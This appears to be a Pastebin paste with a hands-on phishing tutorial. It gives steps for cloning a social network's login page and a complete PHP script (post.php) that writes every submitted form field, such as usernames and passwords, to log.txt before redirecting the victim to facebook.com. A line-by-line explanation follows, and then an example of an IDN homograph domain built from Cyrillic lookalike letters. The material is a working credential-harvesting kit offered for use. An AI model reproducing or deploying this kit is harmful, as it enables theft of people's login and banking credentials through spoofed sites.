Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Phishing
- --------
- It is something when an attacker creates a fake website or a webpage, which contains a form --> login form, banking detail form, in which you enter your details------> and looks very juicy, which attracts a user to login without any force. Via this attack, attacker gains the information of the user.
- Step 1- Open The Browser
- Step 2- Open Any Social Networking Site
- Step 3- Right Click On The Web Page
- Step 4- Click On "View Page Source"
- Step 5- Copy The Source Code
- Step 6- Paste The Source Code In Notepad File
- Step 7- Find "Action="
- Step 8- Replace The Field In The Above Step With Post.php
- Step 9- Create A Post.php File
- Step 10- Save As the Copied File as name.html
- Step 11- Save Both The Files In Localhost Server
- post.php
- <?php
- header ('Location: http://www.facebook.com');
- $handle = fopen("log.txt", "a");
- foreach($_POST as $variable => $value) {
- fwrite($handle, $variable);
- fwrite($handle, "=");
- fwrite($handle, $value);
- fwrite($handle, "\r\n");
- }
- fwrite($handle, "\r\n");
- fclose($handle);
- exit;
- ?>
- <?php ---> starting of php file
- header ('Location: http://www.facebook.com'); --> when work of the script is complete.... redirect the user to this particular page
- $handle = fopen("log.txt", "a"); --> creating a file, name --> log.txt mode--> attribute --> append
- foreach($_POST as $variable => $value) --> for loop creating ---> jb tk mughe variable receive ho rahe h tb tk for loop work krta rahe
- { --> start of for loop
- fwrite($handle, $variable); --> variable name write
- fwrite($handle, "="); --> to write "="
- fwrite($handle, $value); --> to write the username
- fwrite($handle, "\r\n"); --> new line
- } --> to close the for loop
- fwrite($handle, "\r\n"); --> new line
- fclose($handle); --> to save and close the opened file
- exit; --> exit of php script
- ?> --> chalo kaam khatam
- 1. read --> r --> to read the content of the file only
- 2. write --> w --> to write in the file, if not existing, then create the file, else overwrite the file
- 3. append --> a --> again to read and write, if file is there then start from the location where my file is ending, else create a new file
- username=name
- password = passwordhai
- IDN HOMOGRAPHIC ATTACK
- ----------------------
- There are so many languages in the world. But some languages have similar characters as that of english alphabets
- а с е о р --> Cerelic alphabet --> dеерikа раdukоnе
- a c e o p --> English Alphabet --> deepika padukone
- fасеbооk.com
Add Comment
Please, Sign In to add comment